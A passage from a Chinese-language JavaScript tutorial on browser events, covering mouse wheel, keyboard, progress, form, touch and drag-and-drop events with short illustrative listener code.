focusout 丧失焦点的节点 接受焦点的节点
mouseenter 将要进入的节点 将要离开的节点
mouseleave 将要离开的节点 将要进入的节点
mouseout 将要离开的节点 将要进入的节点
mouseover 将要进入的节点 将要离开的节点
dragenter 将要进入的节点 将要离开的节点
dragexit 将要离开的节点 将要进入的节点

下面是一个例子。

/*
  HTML 代码如下
  <div id="outer" style="height:50px;width:50px;border:1px solid black;">
    <div id="inner" style="height:25px;width:25px;border:1px solid black;"></div>
  </div>
*/

var inner = document.getElementById('inner');
inner.addEventListener('mouseover', function (event) {
  console.log('进入' + event.target.id + ' 离开' + event.relatedTarget.id);
}, false);
inner.addEventListener('mouseenter', function (event) {
  console.log('进入' + event.target.id + ' 离开' + event.relatedTarget.id);
});
inner.addEventListener('mouseout', function (event) {
  console.log('离开' + event.target.id + ' 进入' + event.relatedTarget.id);
});
inner.addEventListener("mouseleave", function (event){
  console.log('离开' + event.target.id + ' 进入' + event.relatedTarget.id);
});

// 鼠标从 outer 进入inner,输出
// 进入inner 离开outer
// 进入inner 离开outer

// 鼠标从 inner进入 outer,输出
// 离开inner 进入outer
// 离开inner 进入outer

MouseEvent 接口的实例方法

MouseEvent.getModifierState()

MouseEvent.getModifierState方法返回一个布尔值,表示有没有按下特定的功能键。它的参数是一个表示功能键的字符串。

document.addEventListener('click', function (e) {
  console.log(e.getModifierState('CapsLock'));
}, false);

上面的代码可以了解用户是否按下了大写键。

WheelEvent 接口

概述

WheelEvent 接口继承了 MouseEvent 实例,代表鼠标滚轮事件的实例对象。目前,鼠标滚轮相关的事件只有一个wheel事件,用户滚动鼠标的滚轮,就生成这个事件的实例。

浏览器原生提供WheelEvent()构造函数,用来生成WheelEvent实例。

var wheelEvent = new WheelEvent(type, options);

WheelEvent()构造函数可以接受两个参数,第一个是字符串,表示事件类型,对于滚轮事件来说,这个值目前只能是wheel。第二个参数是事件的配置对象。该对象的属性除了EventUIEvent的配置属性以外,还可以接受以下几个属性,所有属性都是可选的。

  • deltaX:数值,表示滚轮的水平滚动量,默认值是 0.0。
  • deltaY:数值,表示滚轮的垂直滚动量,默认值是 0.0。
  • deltaZ:数值,表示滚轮的 Z 轴滚动量,默认值是 0.0。
  • deltaMode:数值,表示相关的滚动事件的单位,适用于上面三个属性。0表示滚动单位为像素,1表示单位为行,2表示单位为页,默认为0

实例属性

WheelEvent事件实例除了具有EventMouseEvent的实例属性和实例方法,还有一些自己的实例属性,但是没有自己的实例方法。

下面的属性都是只读属性。

  • WheelEvent.deltaX:数值,表示滚轮的水平滚动量。
  • WheelEvent.deltaY:数值,表示滚轮的垂直滚动量。
  • WheelEvent.deltaZ:数值,表示滚轮的 Z 轴滚动量。
  • WheelEvent.deltaMode:数值,表示上面三个属性的单位,0是像素,1是行,2是页。

键盘事件

键盘事件的种类

键盘事件由用户击打键盘触发,主要有keydownkeypresskeyup三个事件,它们都继承了KeyboardEvent接口。

  • keydown:按下键盘时触发。
  • keypress:按下有值的键时触发,即按下 Ctrl、Alt、Shift、Meta 这样无值的键,这个事件不会触发。对于有值的键,按下时先触发keydown事件,再触发这个事件。
  • keyup:松开键盘时触发该事件。

如果用户一直按键不松开,就会连续触发键盘事件,触发的顺序如下。

  1. keydown
  2. keypress
  3. keydown
  4. keypress
  5. ...(重复以上过程)
  6. keyup

KeyboardEvent 接口概述

KeyboardEvent接口用来描述用户与键盘的互动。这个接口继承了Event接口,并且定义了自己的实例属性和实例方法。

浏览器原生提供KeyboardEvent构造函数,用来新建键盘事件的实例。

new KeyboardEvent(type, options)

KeyboardEvent构造函数接受两个参数。第一个参数是字符串,表示事件类型;第二个参数是一个事件配置对象,该参数可选。除了Event接口提供的属性,还可以配置以下字段,它们都是可选。

  • key:字符串,当前按下的键,默认为空字符串。
  • code:字符串,表示当前按下的键的字符串形式,默认为空字符串。
  • location:整数,当前按下的键的位置,默认为0
  • ctrlKey:布尔值,是否按下 Ctrl 键,默认为false
  • shiftKey:布尔值,是否按下 Shift 键,默认为false
  • altKey:布尔值,是否按下 Alt 键,默认为false
  • metaKey:布尔值,是否按下 Meta 键,默认为false
  • repeat:布尔值,是否重复按键,默认为false

KeyboardEvent 的实例属性

KeyboardEvent.altKey,KeyboardEvent.ctrlKey,KeyboardEvent.metaKey,KeyboardEvent.shiftKey

以下属性都是只读属性,返回一个布尔值,表示是否按下对应的键。

  • KeyboardEvent.altKey:是否按下 Alt 键
  • KeyboardEvent.ctrlKey:是否按下 Ctrl 键
  • KeyboardEvent.metaKey:是否按下 meta 键(Mac 系统是一个四瓣的小花,Windows 系统是 windows 键)
  • KeyboardEvent.shiftKey:是否按下 Shift 键

下面是一个示例。

function showChar(e) {
  console.log('ALT: ' + e.altKey);
  console.log('CTRL: ' + e.ctrlKey);
  console.log('Meta: ' + e.metaKey);
  console.log('Shift: ' + e.shiftKey);
}

document.body.addEventListener('keydown', showChar, false);

KeyboardEvent.code

KeyboardEvent.code属性返回一个字符串,表示当前按下的键的字符串形式。该属性只读。

下面是一些常用键的字符串形式,其他键请查文档

  • 数字键0 - 9:返回digit0 - digit9
  • 字母键A - z:返回KeyA - KeyZ
  • 功能键F1 - F12:返回 F1 - F12
  • 方向键:返回ArrowDownArrowUpArrowLeftArrowRight
  • Alt 键:返回AltLeftAltRight
  • Shift 键:返回ShiftLeftShiftRight
  • Ctrl 键:返回ControlLeftControlRight

KeyboardEvent.key

KeyboardEvent.key属性返回一个字符串,表示按下的键名。该属性只读。

如果按下的键代表可打印字符,则返回这个字符,比如数字、字母。

如果按下的键代表不可打印的特殊字符,则返回预定义的键值,比如 Backspace,Tab,Enter,Shift,Control,Alt,CapsLock,Esc,Spacebar,PageUp,PageDown,End,Home,Left,Right,Up,Down,PrintScreen,Insert,Del,Win,F1~F12,NumLock,Scroll 等。

如果同时按下一个控制键和一个符号键,则返回符号键的键名。比如,按下 Ctrl + a,则返回a;按下 Shift + a,则返回大写的A

如果无法识别键名,返回字符串Unidentified

KeyboardEvent.location

KeyboardEvent.location属性返回一个整数,表示按下的键处在键盘的哪一个区域。它可能取以下值。

  • 0:处在键盘的主区域,或者无法判断处于哪一个区域。
  • 1:处在键盘的左侧,只适用那些有两个位置的键(比如 Ctrl 和 Shift 键)。
  • 2:处在键盘的右侧,只适用那些有两个位置的键(比如 Ctrl 和 Shift 键)。
  • 3:处在数字小键盘。

KeyboardEvent.repeat

KeyboardEvent.repeat返回一个布尔值,代表该键是否被按着不放,以便判断是否重复这个键,即浏览器会持续触发keydownkeypress事件,直到用户松开手为止。

KeyboardEvent 的实例方法

KeyboardEvent.getModifierState()

KeyboardEvent.getModifierState()方法返回一个布尔值,表示是否按下或激活指定的功能键。它的常用参数如下。

  • Alt:Alt 键
  • CapsLock:大写锁定键
  • Control:Ctrl 键
  • Meta:Meta 键
  • NumLock:数字键盘开关键
  • Shift:Shift 键
if (
  event.getModifierState('Control') +
  event.getModifierState('Alt') +
  event.getModifierState('Meta') > 1
) {
  return;
}

上面代码表示,只要ControlAltMeta里面,同时按下任意两个或两个以上的键就返回。

进度事件

进度事件的种类

进度事件用来描述资源加载的进度,主要由 AJAX 请求、<img><audio><video><style><link>等外部资源的加载触发,继承了ProgressEvent接口。它主要包含以下几种事件。

  • abort:外部资源中止加载时(比如用户取消)触发。如果发生错误导致中止,不会触发该事件。
  • error:由于错误导致外部资源无法加载时触发。
  • load:外部资源加载成功时触发。
  • loadstart:外部资源开始加载时触发。
  • loadend:外部资源停止加载时触发,发生顺序排在errorabortload等事件的后面。
  • progress:外部资源加载过程中不断触发。
  • timeout:加载超时时触发。

注意,除了资源下载,文件上传也存在这些事件。

下面是一个例子。

image.addEventListener('load', function (event) {
  image.classList.add('finished');
});

image.addEventListener('error', function (event) {
  image.style.display = 'none';
});

上面代码在图片元素加载完成后,为图片元素添加一个finished的 Class。如果加载失败,就把图片元素的样式设置为不显示。

有时候,图片加载会在脚本运行之前就完成,尤其是当脚本放置在网页底部的时候,因此有可能loaderror事件的监听函数根本不会执行。所以,比较可靠的方式,是用complete属性先判断一下是否加载完成。

function loaded() {
  // ...
}

if (image.complete) {
  loaded();
} else {
  image.addEventListener('load', loaded);
}

由于 DOM 的元素节点没有提供是否加载错误的属性,所以error事件的监听函数最好放在<img>元素的 HTML 代码中,这样才能保证发生加载错误时百分之百会执行。

<img src="/wrong/url" onerror="this.style.display='none';" />

loadend事件的监听函数,可以用来取代abort事件、load事件、error事件的监听函数,因为它总是在这些事件之后发生。

req.addEventListener('loadend', loadEnd, false);

function loadEnd(e) {
  console.log('传输结束,成功失败未知');
}

loadend事件本身不提供关于进度结束的原因,但可以用它来做所有加载结束场景都需要做的一些操作。

另外,error事件有一个特殊的性质,就是不会冒泡。所以,子元素的error事件,不会触发父元素的error事件监听函数。

ProgressEvent 接口

ProgressEvent接口主要用来描述外部资源加载的进度,比如 AJAX 加载、<img><video><style><link>等外部资源加载。进度相关的事件都继承了这个接口。

浏览器原生提供了ProgressEvent()构造函数,用来生成事件实例。

new ProgressEvent(type, options)

ProgressEvent()构造函数接受两个参数。第一个参数是字符串,表示事件的类型,这个参数是必须的。第二个参数是一个配置对象,表示事件的属性,该参数可选。配置对象除了可以使用Event接口的配置属性,还可以使用下面的属性,所有这些属性都是可选的。

  • lengthComputable:布尔值,表示加载的总量是否可以计算,默认是false
  • loaded:整数,表示已经加载的量,默认是0
  • total:整数,表示需要加载的总量,默认是0

ProgressEvent具有对应的实例属性。

  • ProgressEvent.lengthComputable
  • ProgressEvent.loaded
  • ProgressEvent.total

如果ProgressEvent.lengthComputablefalseProgressEvent.total实际上是没有意义的。

下面是一个例子。

var p = new ProgressEvent('load', {
  lengthComputable: true,
  loaded: 30,
  total: 100,
});

document.body.addEventListener('load', function (e) {
  console.log('已经加载:' + (e.loaded / e.total) * 100 + '%');
});

document.body.dispatchEvent(p);
// 已经加载:30%

上面代码先构造一个load事件,抛出后被监听函数捕捉到。

下面是一个实际的例子。

var xhr = new XMLHttpRequest();

xhr.addEventListener('progress', updateProgress, false);
xhr.addEventListener('load', transferComplete, false);
xhr.addEventListener('error', transferFailed, false);
xhr.addEventListener('abort', transferCanceled, false);

xhr.open();

function updateProgress(e) {
  if (e.lengthComputable) {
    var percentComplete = e.loaded / e.total;
  } else {
    console.log('不能计算进度');
  }
}

function transferComplete(e) {
  console.log('传输结束');
}

function transferFailed(evt) {
  console.log('传输过程中发生错误');
}

function transferCanceled(evt) {
  console.log('用户取消了传输');
}

上面是下载过程的进度事件,还存在上传过程的进度事件。这时所有监听函数都要放在XMLHttpRequest.upload对象上面。

var xhr = new XMLHttpRequest();

xhr.upload.addEventListener('progress', updateProgress, false);
xhr.upload.addEventListener('load', transferComplete, false);
xhr.upload.addEventListener('error', transferFailed, false);
xhr.upload.addEventListener('abort', transferCanceled, false);

xhr.open();

表单事件

表单事件的种类

input 事件

input事件当<input><select><textarea>的值发生变化时触发。对于复选框(<input type=checkbox>)或单选框(<input type=radio>),用户改变选项时,也会触发这个事件。另外,对于打开contenteditable属性的元素,只要值发生变化,也会触发input事件。

input事件的一个特点,就是会连续触发,比如用户每按下一次按键,就会触发一次input事件。

input事件对象继承了InputEvent接口。

该事件跟change事件很像,不同之处在于input事件在元素的值发生变化后立即发生,而change在元素失去焦点时发生,而内容此时可能已经变化多次。也就是说,如果有连续变化,input事件会触发多次,而change事件只在失去焦点时触发一次。

下面是<select>元素的例子。

/* HTML 代码如下
<select id="mySelect">
  <option value="1">1</option>
  <option value="2">2</option>
  <option value="3">3</option>
</select>
*/

function inputHandler(e) {
  console.log(e.target.value)
}

var mySelect = document.querySelector('#mySelect');
mySelect.addEventListener('input', inputHandler);

上面代码中,改变下拉框选项时,会触发input事件,从而执行回调函数inputHandler

select 事件

select事件当在<input><textarea>里面选中文本时触发。

// HTML 代码如下
// <input id="test" type="text" value="Select me!" />

var elem = document.getElementById('test');
elem.addEventListener('select', function (e) {
  console.log(e.type); // "select"
}, false);

选中的文本可以通过event.target元素的selectionDirectionselectionEndselectionStartvalue属性拿到。

change 事件

change事件当<input><select><textarea>的值发生变化时触发。它与input事件的最大不同,就是不会连续触发,只有当全部修改完成时才会触发,另一方面input事件必然伴随change事件。具体来说,分成以下几种情况。

  • 激活单选框(radio)或复选框(checkbox)时触发。
  • 用户提交时触发。比如,从下列列表(select)完成选择,在日期或文件输入框完成选择。
  • 当文本框或<textarea>元素的值发生改变,并且丧失焦点时触发。

下面是一个例子。

// HTML 代码如下
// <select size="1" onchange="changeEventHandler(event);">
//   <option>chocolate</option>
//   <option>strawberry</option>
//   <option>vanilla</option>
// </select>

function changeEventHandler(event) {
  console.log(event.target.value);
}

如果比较一下上面input事件的例子,你会发现对于<select>元素来说,inputchange事件基本是等价的。

invalid 事件

用户提交表单时,如果表单元素的值不满足校验条件,就会触发invalid事件。

<form>
  <input type="text" required oninvalid="console.log('invalid input')" />
  <button type="submit">提交</button>
</form>

上面代码中,输入框是必填的。如果不填,用户点击按钮提交时,就会触发输入框的invalid事件,导致提交被取消。

reset 事件,submit 事件

这两个事件发生在表单对象<form>上,而不是发生在表单的成员上。

reset事件当表单重置(所有表单成员变回默认值)时触发。

submit事件当表单数据向服务器提交时触发。注意,submit事件的发生对象是<form>元素,而不是<button>元素,因为提交的是表单,而不是按钮。

InputEvent 接口

InputEvent接口主要用来描述input事件的实例。该接口继承了Event接口,还定义了一些自己的实例属性和实例方法。

浏览器原生提供InputEvent()构造函数,用来生成实例对象。

new InputEvent(type, options)

InputEvent构造函数可以接受两个参数。第一个参数是字符串,表示事件名称,该参数是必需的。第二个参数是一个配置对象,用来设置事件实例的属性,该参数是可选的。配置对象的字段除了Event构造函数的配置属性,还可以设置下面的字段,这些字段都是可选的。

  • inputType:字符串,表示发生变更的类型(详见下文)。
  • data:字符串,表示插入的字符串。如果没有插入的字符串(比如删除操作),则返回null或空字符串。
  • dataTransfer:返回一个 DataTransfer 对象实例,该属性通常只在输入框接受富文本输入时有效。

InputEvent的实例属性主要就是上面三个属性,这三个实例属性都是只读的。

(1)InputEvent.data

InputEvent.data属性返回一个字符串,表示变动的内容。

// HTML 代码如下
// <input type="text" id="myInput">
var input = document.getElementById('myInput');
input.addEventListener('input', myFunction, false);

function myFunction(e) {
  console.log(e.data);
}

上面代码中,如果手动在输入框里面输入abc,控制台会先输出a,再在下一行输出b,再在下一行输出c。然后选中abc,一次性将它们删除,控制台会输出null或一个空字符串。

(2)InputEvent.inputType

InputEvent.inputType属性返回一个字符串,表示字符串发生变更的类型。

对于常见情况,Chrome 浏览器的返回值如下。完整列表可以参考文档

  • 手动插入文本:insertText
  • 粘贴插入文本:insertFromPaste
  • 向后删除:deleteContentBackward
  • 向前删除:deleteContentForward

(3)InputEvent.dataTransfer

InputEvent.dataTransfer属性返回一个 DataTransfer 实例。该属性只在文本框接受粘贴内容(insertFromPaste)或拖拽内容(insertFromDrop)时才有效。

触摸事件

触摸操作概述

浏览器的触摸 API 由三个部分组成。

  • Touch:一个触摸点
  • TouchList:多个触摸点的集合
  • TouchEvent:触摸引发的事件实例

Touch接口的实例对象用来表示触摸点(一根手指或者一根触摸笔),包括位置、大小、形状、压力、目标元素等属性。有时,触摸动作由多个触摸点(多根手指)组成,多个触摸点的集合由TouchList接口的实例对象表示。TouchEvent接口的实例对象代表由触摸引发的事件,只有触摸屏才会引发这一类事件。

很多时候,触摸事件和鼠标事件同时触发,即使这个时候并没有用到鼠标。这是为了让那些只定义鼠标事件、没有定义触摸事件的代码,在触摸屏的情况下仍然能用。如果想避免这种情况,可以用event.preventDefault方法阻止发出鼠标事件。

Touch 接口

Touch 接口概述

Touch 接口代表单个触摸点。触摸点可能是一根手指,也可能是一根触摸笔。

浏览器原生提供Touch构造函数,用来生成Touch实例。

var touch = new Touch(touchOptions);

Touch构造函数接受一个配置对象作为参数,它有以下属性。

  • identifier:必需,类型为整数,表示触摸点的唯一 ID。
  • target:必需,类型为元素节点,表示触摸点开始时所在的网页元素。
  • clientX:可选,类型为数值,表示触摸点相对于浏览器窗口左上角的水平距离,默认为0。
  • clientY:可选,类型为数值,表示触摸点相对于浏览器窗口左上角的垂直距离,默认为0。
  • screenX:可选,类型为数值,表示触摸点相对于屏幕左上角的水平距离,默认为0。
  • screenY:可选,类型为数值,表示触摸点相对于屏幕左上角的垂直距离,默认为0。
  • pageX:可选,类型为数值,表示触摸点相对于网页左上角的水平位置(即包括页面的滚动距离),默认为0。
  • pageY:可选,类型为数值,表示触摸点相对于网页左上角的垂直位置(即包括页面的滚动距离),默认为0。
  • radiusX:可选,类型为数值,表示触摸点周围受到影响的椭圆范围的 X 轴半径,默认为0。
  • radiusY:可选:类型为数值,表示触摸点周围受到影响的椭圆范围的 Y 轴半径,默认为0。
  • rotationAngle:可选,类型为数值,表示触摸区域的椭圆的旋转角度,单位为度数,在0到90度之间,默认值为0。
  • force:可选,类型为数值,范围在01之间,表示触摸压力。0代表没有压力,1代表硬件所能识别的最大压力,默认为0

Touch 接口的实例属性

(1)Touch.identifier

Touch.identifier属性返回一个整数,表示触摸点的唯一 ID。这个值在整个触摸过程保持不变,直到触摸事件结束。

someElement.addEventListener('touchmove', function (e) {
  for (var i = 0; i < e.changedTouches.length; i++) {
    console.log(e.changedTouches[i].identifier);
  }
}, false);

(2)Touch.screenX,Touch.screenY,Touch.clientX,Touch.clientY,pageX,pageY

Touch.screenX属性和Touch.screenY属性,分别表示触摸点相对于屏幕左上角的横坐标和纵坐标,与页面是否滚动无关。

Touch.clientX属性和Touch.clientY属性,分别表示触摸点相对于浏览器视口左上角的横坐标和纵坐标,与页面是否滚动无关。

Touch.pageX属性和Touch.pageY属性,分别表示触摸点相对于当前页面左上角的横坐标和纵坐标,包含了页面滚动带来的位移。

(3)Touch.radiusX,Touch.radiusY,Touch.rotationAngle

Touch.radiusX属性和Touch.radiusY属性,分别返回触摸点周围受到影响的椭圆范围的 X 轴半径和 Y 轴半径,单位为像素。乘以 2 就可以得到触摸范围的宽度和高度。

Touch.rotationAngle属性表示触摸区域的椭圆的旋转角度,单位为度数,在090度之间。

上面这三个属性共同定义了用户与屏幕接触的区域,对于描述手指这一类非精确的触摸,很有帮助。指尖接触屏幕,触摸范围会形成一个椭圆,这三个属性就用来描述这个椭圆区域。

下面是一个示例。

div.addEventListener('touchstart', rotate);
div.addEventListener('touchmove', rotate);
div.addEventListener('touchend', rotate);

function rotate(e) {
  var touch = e.changedTouches.item(0);
  e.preventDefault();

  src.style.width = touch.radiusX * 2 + 'px';
  src.style.height = touch.radiusY * 2 + 'px';
  src.style.transform = 'rotate(' + touch.rotationAngle + 'deg)';
};

(4)Touch.force

Touch.force属性返回一个01之间的数值,表示触摸压力。0代表没有压力,1代表硬件所能识别的最大压力。

(5)Touch.target

Touch.target属性返回一个元素节点,代表触摸发生时所在的那个元素节点。即使触摸点已经离开了这个节点,该属性依然不变。

TouchList 接口

TouchList接口表示一组触摸点的集合。它的实例是一个类似数组的对象,成员是Touch的实例对象,表示所有触摸点。用户用三根手指触摸,产生的TouchList实例就会包含三个成员,每根手指的触摸点对应一个Touch实例对象。

它的实例主要通过触摸事件的TouchEvent.touchesTouchEvent.changedTouchesTouchEvent.targetTouches这几个属性获取。

它的实例属性和实例方法只有两个。

  • TouchList.length:数值,表示成员数量(即触摸点的数量)。
  • TouchList.item():返回指定位置的成员,它的参数是该成员的位置编号(从零开始)。

TouchEvent 接口

概述

TouchEvent 接口继承了 Event 接口,表示由触摸引发的事件实例,通常来自触摸屏或轨迹板。除了被继承的属性以外,它还有一些自己的属性。

浏览器原生提供TouchEvent()构造函数,用来生成触摸事件的实例。

new TouchEvent(type, options)

TouchEvent()构造函数可以接受两个参数,第一个参数是字符串,表示事件类型;第二个参数是事件的配置对象,该参数是可选的,对象的所有属性也是可选的。除了Event接口的配置属性,该接口还有一些自己的配置属性。

  • touchesTouchList实例,代表所有的当前处于活跃状态的触摸点,默认值是一个空数组[]
  • targetTouchesTouchList实例,代表所有处在触摸的目标元素节点内部、且仍然处于活动状态的触摸点,默认值是一个空数组[]
  • changedTouchesTouchList实例,代表本次触摸事件的相关触摸点,默认值是一个空数组[]
  • ctrlKey:布尔值,表示 Ctrl 键是否同时按下,默认值为false
  • shiftKey:布尔值,表示 Shift 键是否同时按下,默认值为false
  • altKey:布尔值,表示 Alt 键是否同时按下,默认值为false
  • metaKey:布尔值,表示 Meta 键(或 Windows 键)是否同时按下,默认值为false

实例属性

TouchEvent 接口的实例具有Event实例的所有属性和方法,此外还有一些它自己的实例属性,这些属性全部都是只读。

(1)TouchEvent.altKey,TouchEvent.ctrlKey,TouchEvent.shiftKey,TouchEvent.metaKey

  • TouchEvent.altKey:布尔值,表示触摸时是否按下了 Alt 键。
  • TouchEvent.ctrlKey:布尔值,表示触摸时是否按下了 Ctrl 键。
  • TouchEvent.shiftKey:布尔值:表示触摸时是否按下了 Shift 键。
  • TouchEvent.metaKey:布尔值,表示触摸时是否按下了 Meta 键(或 Windows 键)。

下面是一个示例。

someElement.addEventListener('touchstart', function (e) {
  console.log('altKey = ' + e.altKey);
  console.log('ctrlKey = ' + e.ctrlKey);
  console.log('metaKey = ' + e.metaKey);
  console.log('shiftKey = ' + e.shiftKey);
}, false);

(2)TouchEvent.changedTouches

TouchEvent.changedTouches属性返回一个TouchList实例,成员是一组Touch实例对象,表示本次触摸事件的相关触摸点。

对于不同的时间,该属性的含义有所不同。

  • touchstart事件:被激活的触摸点
  • touchmove事件:发生变化的触摸点
  • touchend事件:消失的触摸点(即不再被触碰的点)

下面是一个示例。

someElement.addEventListener('touchmove', function (e) {
  for (var i = 0; i < e.changedTouches.length; i++) {
    console.log(e.changedTouches[i].identifier);
  }
}, false);

(3)TouchEvent.touches

TouchEvent.touches属性返回一个TouchList实例,成员是所有仍然处于活动状态(即触摸中)的触摸点。一般来说,一个手指就是一个触摸点。

下面是一个示例。

someElement.addEventListener('touchstart', function (e) {
  switch (e.touches.length) {
    // 一根手指触摸
    case 1: handle_one_touch(e); break;
    // 两根手指触摸
    case 2: handle_two_touches(e); break;
    // 三根手指触摸
    case 3: handle_three_touches(e); break;
    // 其他情况
    default: console.log('Not supported'); break;
  }
}, false);

(4)TouchEvent.targetTouches

TouchEvent.targetTouches属性返回一个TouchList实例,成员是触摸事件的目标元素节点内部、所有仍然处于活动状态(即触摸中)的触摸点。

function touches_in_target(ev) {
  return (ev.touches.length === ev.targetTouches.length ? true : false);
}

上面代码用来判断,是否所有触摸点都在目标元素内。

触摸事件的种类

触摸引发的事件,有以下几种。可以通过TouchEvent.type属性,查看到底发生的是哪一种事件。

  • touchstart:用户开始触摸时触发,它的target属性返回发生触摸的元素节点。
  • touchend:用户不再接触触摸屏时(或者移出屏幕边缘时)触发,它的target属性与touchstart事件一致的,就是开始触摸时所在的元素节点。它的changedTouches属性返回一个TouchList实例,包含所有不再触摸的触摸点(即Touch实例对象)。
  • touchmove:用户移动触摸点时触发,它的target属性与touchstart事件一致。如果触摸的半径、角度、力度发生变化,也会触发该事件。
  • touchcancel:触摸点取消时触发,比如在触摸区域跳出一个模态窗口(modal window)、触摸点离开了文档区域(进入浏览器菜单栏)、用户的触摸点太多,超过了支持的上限(自动取消早先的触摸点)。

下面是一个例子。

var el = document.getElementsByTagName('canvas')[0];
el.addEventListener('touchstart', handleStart, false);
el.addEventListener('touchmove', handleMove, false);

function handleStart(evt) {
  evt.preventDefault();
  var touches = evt.changedTouches;
  for (var i = 0; i < touches.length; i++) {
    console.log(touches[i].pageX, touches[i].pageY);
  }
}

function handleMove(evt) {
  evt.preventDefault();
  var touches = evt.changedTouches;
  for (var i = 0; i < touches.length; i++) {
    var touch = touches[i];
    console.log(touch.pageX, touch.pageY);
  }
}

拖拉事件

拖拉事件的种类

拖拉(drag)指的是,用户在某个对象上按下鼠标键不放,拖动它到另一个位置,然后释放鼠标键,将该对象放在那里。

拖拉的对象有好几种,包括元素节点、图片、链接、选中的文字等等。在网页中,除了元素节点默认不可以拖拉,其他(图片、链接、选中的文字)都可以直接拖拉。为了让元素节点可拖拉,可以将该节点的draggable属性设为true

<div draggable="true">
  此区域可拖拉
</div>

上面代码的div区块,在网页中可以直接用鼠标拖动。松开鼠标键时,拖动效果就会消失,该区块依然在原来的位置。

draggable属性可用于任何元素节点,但是图片(<img>)和链接(<a>)不加这个属性,就可以拖拉。对于它们,用到这个属性的时候,往往是将其设为false,防止拖拉这两种元素。

注意,一旦某个元素节点的draggable属性设为true,就无法再用鼠标选中该节点内部的文字或子节点了。

当元素节点或选中的文本被拖拉时,就会持续触发拖拉事件,包括以下一些事件。

  • drag:拖拉过程中,在被拖拉的节点上持续触发(相隔几百毫秒)。
  • dragstart:用户开始拖拉时,在被拖拉的节点上触发,该事件的target属性是被拖拉的节点。通常应该在这个事件的监听函数中,指定拖拉的数据。
  • dragend:拖拉结束时(释放鼠标键或按下 ESC 键)在被拖拉的节点上触发,该事件的target属性是被拖拉的节点。它与dragstart事件,在同一个节点上触发。不管拖拉是否跨窗口,或者中途被取消,dragend事件总是会触发的。
  • dragenter:拖拉进入当前节点时,在当前节点上触发一次,该事件的target属性是当前节点。通常应该在这个事件的监听函数中,指定是否允许在当前节点放下(drop)拖拉的数据。如果当前节点没有该事件的监听函数,或者监听函数不执行任何操作,就意味着不允许在当前节点放下数据。在视觉上显示拖拉进入当前节点,也是在这个事件的监听函数中设置。
  • dragover:拖拉到当前节点上方时,在当前节点上持续触发(相隔几百毫秒),该事件的target属性是当前节点。该事件与dragenter事件的区别是,dragenter事件在进入该节点时触发,然后只要没有离开这个节点,dragover事件会持续触发。
  • dragleave:拖拉操作离开当前节点范围时,在当前节点上触发,该事件的target属性是当前节点。如果要在视觉上显示拖拉离开操作当前节点,就在这个事件的监听函数中设置。
  • drop:被拖拉的节点或选中的文本,释放到目标节点时,在目标节点上触发。注意,如果当前节点不允许drop,即使在该节点上方松开鼠标键,也不会触发该事件。如果用户按下 ESC 键,取消这个操作,也不会触发该事件。该事件的监听函数负责取出拖拉数据,并进行相关处理。

下面的例子展示,如何动态改变被拖动节点的背景色。

div.addEventListener('dragstart', function (e) {
  this.style.backgroundColor = 'red';
}, false);

div.addEventListener('dragend', function (e) {
  this.style.backgroundColor = 'green';
}, false);

上面代码中,div节点被拖动时,背景色会变为红色,拖动结束,又变回绿色。

下面是一个例子,展示如何实现将一个节点从当前父节点,拖拉到另一个父节点中。

/* HTML 代码如下
 <div class="dropzone">
   <div id="draggable" draggable="true">
     该节点可拖拉
   </div>
 </div>
 <div class="dropzone"></div>
 <div class="dropzone"></div>
 <div class="dropzone"></div>
*/

// 被拖拉节点
var dragged;

document.addEventListener('dragstart', function (event) {
  // 保存被拖拉节点
  dragged = event.target;
  // 被拖拉节点的背景色变透明
  event.target.style.opacity = 0.5;
}, false);

document.addEventListener('dragend', function (event) {
  // 被拖拉节点的背景色恢复正常
  event.target.style.opacity = '';
}, false);

document.addEventListener('dragover', function (event) {
  // 防止拖拉效果被重置,允许被拖拉的节点放入目标节点
  event.preventDefault();
}, false);

document.addEventListener('dragenter', function (event) {
  // 目标节点的背景色变紫色
  // 由于该事件会冒泡,所以要过滤节点
  if (event.target.className === 'dropzone') {
    event.target.style.background = 'purple';
  }
}, false);

document.addEventListener('dragleave', function( event ) {
  // 目标节点的背景色恢复原样
  if (event.target.className === 'dropzone') {
    event.target.style.background = '';
  }
}, false);

document.addEventListener('drop', function( event ) {
  // 防止事件默认行为(比如某些元素节点上可以打开链接),
  event.preventDefault();
  if (event.target.className === 'dropzone') {
    // 恢复目标节点背景色
    event.target.style.background = '';
    // 将被拖拉节点插入目标节点
    dragged.parentNode.removeChild(dragged);
    event.target.appendChild( dragged );
  }
}, false);

关于拖拉事件,有以下几个注意点。

  • 拖拉过程只触发以上这些拖拉事件,尽管鼠标在移动,但是鼠标事件不会触发。
  • 将文件从操作系统拖拉进浏览器,不会触发dragstartdragend事件。
  • dragenterdragover事件的监听函数,用来取出拖拉的数据(即允许放下被拖拉的元素)。由于网页的大部分区域不适合作为放下拖拉元素的目标节点,所以这两个事件的默认设置为当前节点不允许接受被拖拉的元素。如果想要在目标节点上放下的数据,首先必须阻止这两个事件的默认行为。
<div ondragover="return false">
<div ondragover="event.preventDefault()">

上面代码中,如果不取消拖拉事件或者阻止默认行为,就不能在div节点上放下被拖拉的节点。

DragEvent 接口

拖拉事件都继承了DragEvent接口,这个接口又继承了MouseEvent接口和Event接口。

浏览器原生提供一个DragEvent()构造函数,用来生成拖拉事件的实例对象。

new DragEvent(type, options)

DragEvent()构造函数接受两个参数,第一个参数是字符串,表示事件的类型,该参数必须;第二个参数是事件的配置对象,用来设置事件的属性,该参数可选。配置对象除了接受MouseEvent接口和Event接口的配置属性,还可以设置dataTransfer属性要么是null,要么是一个DataTransfer接口的实例。

DataTransfer的实例对象用来读写拖拉事件中传输的数据,详见下文《DataTransfer 接口》的部分。

DataTransfer 接口概述

所有拖拉事件的实例都有一个DragEvent.dataTransfer属性,用来读写需要传递的数据。这个属性的值是一个DataTransfer接口的实例。

浏览器原生提供一个DataTransfer()构造函数,用来生成DataTransfer实例对象。

var dataTrans = new DataTransfer();

DataTransfer()构造函数不接受参数。

拖拉的数据分成两方面:数据的种类(又称格式)和数据的值。数据的种类是一个 MIME 字符串(比如text/plainimage/jpeg),数据的值是一个字符串。一般来说,如果拖拉一段文本,则数据默认就是那段文本;如果拖拉一个链接,则数据默认就是链接的 URL。

拖拉事件开始时,开发者可以提供数据类型和数据值。拖拉过程中,开发者通过dragenterdragover事件的监听函数,检查数据类型,以确定是否允许放下(drop)被拖拉的对象。比如,在只允许放下链接的区域,检查拖拉的数据类型是否为text/uri-list

发生drop事件时,监听函数取出拖拉的数据,对其进行处理。

DataTransfer 的实例属性

DataTransfer.dropEffect

